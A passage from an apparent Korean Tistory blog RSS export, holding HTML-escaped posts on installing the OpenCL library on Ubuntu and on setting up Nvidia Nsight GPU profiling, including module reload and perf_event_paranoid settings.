&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;libOpenCL.so&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;이제 Intel integrated GPU를 사용해 정상적으로 OpenCL 코드를 수행하기 위해서 OpenCL 라이브러리를 설치해야한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;libOpenCL.so를 다음과 같은 방법으로 설치할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;$ sudo apt-get update&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;$ sudo apt-get install ocl-icd-opencl-dev&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;OpenCL이 정상적으로 동작하는것을 확인하기 위해 테스트를 할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;아래 URL에서 예제 소스를 다운받자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;a href=&quot;https://github.com/jcupitt/opencl-experiments/tree/master/tools-master&quot;&gt;https://github.com/jcupitt/opencl-experiments/tree/master/tools-master&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1597232753179&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-og-type=&quot;object&quot; data-og-title=&quot;jcupitt/opencl-experiments&quot; data-og-description=&quot;messing about with opencl. Contribute to jcupitt/opencl-experiments development by creating an account on GitHub.&quot; data-og-host=&quot;github.com&quot; data-og-source-url=&quot;https://github.com/jcupitt/opencl-experiments/tree/master/tools-master&quot; data-og-url=&quot;https://github.com/jcupitt/opencl-experiments&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/tZpbz/hyG7SkVJNQ/5VtHtrzOpQDOWzD3UWZMF0/img.jpg?width=281&amp;amp;height=281&amp;amp;face=92_122_220_250&quot;&gt;&lt;a href=&quot;https://github.com/jcupitt/opencl-experiments/tree/master/tools-master&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://github.com/jcupitt/opencl-experiments/tree/master/tools-master&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/tZpbz/hyG7SkVJNQ/5VtHtrzOpQDOWzD3UWZMF0/img.jpg?width=281&amp;amp;height=281&amp;amp;face=92_122_220_250');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot;&gt;jcupitt/opencl-experiments&lt;/p&gt;
&lt;p class=&quot;og-desc&quot;&gt;messing about with opencl. Contribute to jcupitt/opencl-experiments development by creating an account on GitHub.&lt;/p&gt;
&lt;p class=&quot;og-host&quot;&gt;github.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;~/tools-master 디렉터리에서 print-device를 실행하였을 때 platform과 device가 정상적으로 출력되었다면 올바르게 OpenCL를 사용할 수 있느 환경을 구성한 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;$ ./print-devices&lt;/b&gt; 를 실행했을 때 아래와 비슷한 결과화면이 나온다면 정상적으로 OpenCL을 사용할 수 있는 환경이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bR3RUM/btqG9SHq5LC/cSavhA1yKKcJPItn1VuFH1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bR3RUM/btqG9SHq5LC/cSavhA1yKKcJPItn1VuFH1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bR3RUM/btqG9SHq5LC/cSavhA1yKKcJPItn1VuFH1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbR3RUM%2FbtqG9SHq5LC%2FcSavhA1yKKcJPItn1VuFH1%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>ETC...</category>
      <author>MarcoKhan</author>
      <guid isPermaLink="true">https://marcokhan.tistory.com/250</guid>
      <comments>https://marcokhan.tistory.com/250#entry250comment</comments>
      <pubDate>Tue, 27 Oct 2020 11:26:36 +0900</pubDate>
    </item>
    <item>
      <title>[Ubuntu] Nvidia Nsight compute usage</title>
      <link>https://marcokhan.tistory.com/249</link>
      <description>&lt;p data-ke-size=&quot;size18&quot;&gt;Nvidia GPU는 최근 크게 여섯가지 아키텍처로 구별할 수 있다. &amp;lt;그림 1&amp;gt; 참고.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;Compute capability가 높을수록 최신 아키텍처라고 생각하면 될 것 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ppZEL/btqEKv1Ze62/4vlN43HAY6Wff9fo82cvS1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ppZEL/btqEKv1Ze62/4vlN43HAY6Wff9fo82cvS1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ppZEL/btqEKv1Ze62/4vlN43HAY6Wff9fo82cvS1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FppZEL%2FbtqEKv1Ze62%2F4vlN43HAY6Wff9fo82cvS1%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;lt;그림 1&amp;gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;GPU로 CUDA programming을 하면서 GPU Kernel을 분석할 필요가 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;Nvidia에서는 profiling tool로 크게 두 개를 제공한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;Nvidia nvprof&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;- CLI 기반으로 profiling data를 보여준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;- &lt;span style=&quot;background-color: #f6e199;&quot;&gt;Kepler, Maxwell&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;Nvidia Nsight compute&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;- Grahpic 기반으로 profiling data를 보여준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;- &lt;span style=&quot;background-color: #f6e199;&quot;&gt;Pascal, Turing, Volta&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;Pascal 이후 Nvidia 아키텍처에서는 일반적으로 nvprof를 사용할 수 없고 Nsight 사용을 권장한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;( 여기 저기서 CUDA toolkit을 다운받아 설치하면 부분저적으로 사용할 수 있기는 하다...)&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;Nsight를 우분투에 설치하고 사용하기 위해서 [2]에서 Nsight를 다운받고 설치한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;이후 Nsight를 실행하고 profiling을 할 때 다음과 같은 에러 메세지를 만날 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;&quot;ERR_NVGPUCTRPERM: Permission issue with Performance Counters&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;총 3단계로 위와 같은 에러 메세지를 처리할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;1. Nvidia에서 기본적으로 제공하는 모듈 언로드&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp; &amp;nbsp;$ sudo systemctl isolate multi-user&amp;nbsp; &amp;nbsp; &amp;nbsp; // Stop the window manager (run level 변경)&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp; &amp;nbsp;$ &lt;span style=&quot;color: #333333;&quot;&gt;modprobe -r nvidia_uvm nvidia_drm nvidia_modeset nvidia-vgpu-vfio nvidia&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;# Unload dependent modules&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;2. Access 권한 설정&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp; &amp;nbsp;- administrative privileges&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;$ &lt;span style=&quot;color: #333333;&quot;&gt;modprobe nvidia NVreg_RestrictProfilingToAdminUsers=1&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp; &amp;nbsp;- any user&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;$ &lt;span style=&quot;color: #333333;&quot;&gt;modprobe nvidia NVreg_RestrictProfilingToAdminUsers=0&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;3. Reboot&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp; &lt;span style=&quot;color: #333333;&quot;&gt;systemctl isolate graphical&lt;span&gt; //&lt;/span&gt;&lt;/span&gt; Restart the window manager. (run level 변경)&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;* 현재 시스템의 run level은 아래와 같은 명령어로 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp; &amp;nbsp;$ sudo systemctl get-default&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;에러 처리 이후 Nsight System을 실행한다. &amp;lt;그림 2&amp;gt; 참고.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/RoZvx/btqEJjgWo9J/kmSvTFLzNEfdNWcaFH6DD0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/RoZvx/btqEJjgWo9J/kmSvTFLzNEfdNWcaFH6DD0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/RoZvx/btqEJjgWo9J/kmSvTFLzNEfdNWcaFH6DD0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FRoZvx%2FbtqEJjgWo9J%2FkmSvTFLzNEfdNWcaFH6DD0%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;lt;그림 2&amp;gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;lt;그림2&amp;gt;에서 가장 잘 설정해주어야할 부분은 다음과 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;Target application -&amp;gt; Command line with arguments, Working directory이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;Nsight System 내부적으로 Working directory의 &lt;span style=&quot;color: #333333;&quot;&gt;Command line with arguments&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #333333;&quot;&gt;을 실행한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bU7jYo/btqEITCOEwY/DKZ2KG0mQKpGMBBEyjKMo0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bU7jYo/btqEITCOEwY/DKZ2KG0mQKpGMBBEyjKMo0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bU7jYo/btqEITCOEwY/DKZ2KG0mQKpGMBBEyjKMo0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbU7jYo%2FbtqEITCOEwY%2FDKZ2KG0mQKpGMBBEyjKMo0%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;lt;그림 3&amp;gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;lt;그림 3&amp;gt; 처럼 실행 방식을 알아보기 위해 간단히 input parameter를 설정해주고 우측 상단의 Start를 클릭한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/NFqxH/btqEJjBddGG/4lajKTokQvKX06Cqj9DYA0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/NFqxH/btqEJjBddGG/4lajKTokQvKX06Cqj9DYA0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/NFqxH/btqEJjBddGG/4lajKTokQvKX06Cqj9DYA0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FNFqxH%2FbtqEJjBddGG%2F4lajKTokQvKX06Cqj9DYA0%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;lt;그림 4&amp;gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;lt;그림 4&amp;gt;의 에러를 확인하면 working directory | &lt;span style=&quot;color: #333333;&quot;&gt;Command line with arguments&lt;span&gt; (concatenate)되어 실행된다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span&gt;루트 경로부터 working directory를 설정해야한다는 것을 주의하자. (pwd 명령어로 디렉터리를 확인하는게 정확하다.)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bcn2rf/btqELyRfMIT/eUSDp57aorZhvBf0JjgKE0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bcn2rf/btqELyRfMIT/eUSDp57aorZhvBf0JjgKE0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bcn2rf/btqELyRfMIT/eUSDp57aorZhvBf0JjgKE0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbcn2rf%2FbtqELyRfMIT%2FeUSDp57aorZhvBf0JjgKE0%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span&gt;&amp;lt;그림 5&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span&gt;Nsight System profiling tool이 자동으로 멈추지 않기 때문에 적당한 시간을 기다린 후 stop을 누르면 된다.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/d4s9j3/btqEKfSC6wj/mkADkjYC6Z1Tq1cKXruW2k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/d4s9j3/btqEKfSC6wj/mkADkjYC6Z1Tq1cKXruW2k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/d4s9j3/btqEKfSC6wj/mkADkjYC6Z1Tq1cKXruW2k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fd4s9j3%2FbtqEKfSC6wj%2FmkADkjYC6Z1Tq1cKXruW2k%2Fimg.png&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;span&gt;&amp;lt;그림 6&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;Stop을 누르면 &amp;lt;그림 6&amp;gt;처럼 profling data가 graphic으로 잘 나타나는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;==================================================================&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;추가적으로 /proc/sys/kernel/perf_event_paranoid의 level에 따라 profile 할 수 있는 값이 다르다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;Nsight는 다음과 같이 설명하고 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;Collection&amp;nbsp;of&amp;nbsp;IP&amp;nbsp;samples,&amp;nbsp;backtraces,&amp;nbsp;and&amp;nbsp;scheduling&amp;nbsp;data&amp;nbsp;disabled.&amp;nbsp;perf&amp;nbsp;event&amp;nbsp;paranoid&amp;nbsp;level&amp;nbsp;is&amp;nbsp;3.&amp;nbsp;&lt;br /&gt;Change&amp;nbsp;the&amp;nbsp;paranoid&amp;nbsp;level&amp;nbsp;to&amp;nbsp;2&amp;nbsp;to&amp;nbsp;enable&amp;nbsp;IP&amp;nbsp;sample,&amp;nbsp;backtrace,&amp;nbsp;and&amp;nbsp;scheduling&amp;nbsp;data&amp;nbsp;collection.&amp;nbsp;Change&amp;nbsp;the&amp;nbsp;paranoid&amp;nbsp;level&amp;nbsp;to&amp;nbsp;1&amp;nbsp;to&amp;nbsp;enable&amp;nbsp;kernel&amp;nbsp;sample&amp;nbsp;collection.&amp;nbsp;&lt;br /&gt;Try &lt;b&gt;$ sudo sh -c 'echo [level] &amp;gt;/proc/sys/kernel/perf_event_paranoid'&lt;/b&gt; where&amp;nbsp;'level'&amp;nbsp;equals&amp;nbsp;1&amp;nbsp;or&amp;nbsp;2&amp;nbsp;to&amp;nbsp;change&amp;nbsp;the&amp;nbsp;paranoid&amp;nbsp;level.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;필요에 맞게 level을 잘 설정하여 사용하기를 바란다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;==================================================================&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;[reference]&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;a href=&quot;https://developer.nvidia.com/nvidia-development-tools-solutions-ERR_NVGPUCTRPERM-permission-issue-performance-counters&quot;&gt;[1] https://developer.nvidia.com/nvidia-development-tools-solutions-ERR_NVGPUCTRPERM-permission-issue-performance-counters&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1591768095105&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-og-type=&quot;article&quot; data-og-title=&quot;NVIDIA Development Tools Solutions - ERR_NVGPUCTRPERM: Permission issue with Performance Counters&quot; data-og-description=&quot;Overview This page provides an explanation and solutions for the following error message from various NVIDIA development tools: ERR_NVGPUCTRPERM The user running tool_name/application_name does not have permission to access NVIDIA GPU Performance Counters &quot; data-og-host=&quot;developer.nvidia.com&quot; data-og-source-url=&quot;https://developer.nvidia.com/nvidia-development-tools-solutions-ERR_NVGPUCTRPERM-permission-issue-performance-counters&quot; data-og-url=&quot;https://developer.nvidia.com/nvidia-development-tools-solutions-ERR_NVGPUCTRPERM-permission-issue-performance-counters&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/H32MN/hyGmQvi4wp/BOLjnEXZrbfPxKLzarJam0/img.png?width=1010&amp;amp;height=556&amp;amp;face=0_0_1010_556,https://scrap.kakaocdn.net/dn/bSGyU7/hyGmKBPjxV/8a4c5oNurv8tMWNtybOpd0/img.png?width=659&amp;amp;height=317&amp;amp;face=0_0_659_317,https://scrap.kakaocdn.net/dn/RlzWZ/hyGmTeta4M/m2ednmpeuAR9XhBeGyRn4K/img.png?width=388&amp;amp;height=214&amp;amp;face=0_0_388_214&quot;&gt;&lt;a href=&quot;https://developer.nvidia.com/nvidia-development-tools-solutions-ERR_NVGPUCTRPERM-permission-issue-performance-counters&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://developer.nvidia.com/nvidia-development-tools-solutions-ERR_NVGPUCTRPERM-permission-issue-performance-counters&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/H32MN/hyGmQvi4wp/BOLjnEXZrbfPxKLzarJam0/img.png?width=1010&amp;amp;height=556&amp;amp;face=0_0_1010_556,https://scrap.kakaocdn.net/dn/bSGyU7/hyGmKBPjxV/8a4c5oNurv8tMWNtybOpd0/img.png?width=659&amp;amp;height=317&amp;amp;face=0_0_659_317,https://scrap.kakaocdn.net/dn/RlzWZ/hyGmTeta4M/m2ednmpeuAR9XhBeGyRn4K/img.png?width=388&amp;amp;height=214&amp;amp;face=0_0_388_214');&quot;&gt;&amp;nbsp;&lt;/div&gt;
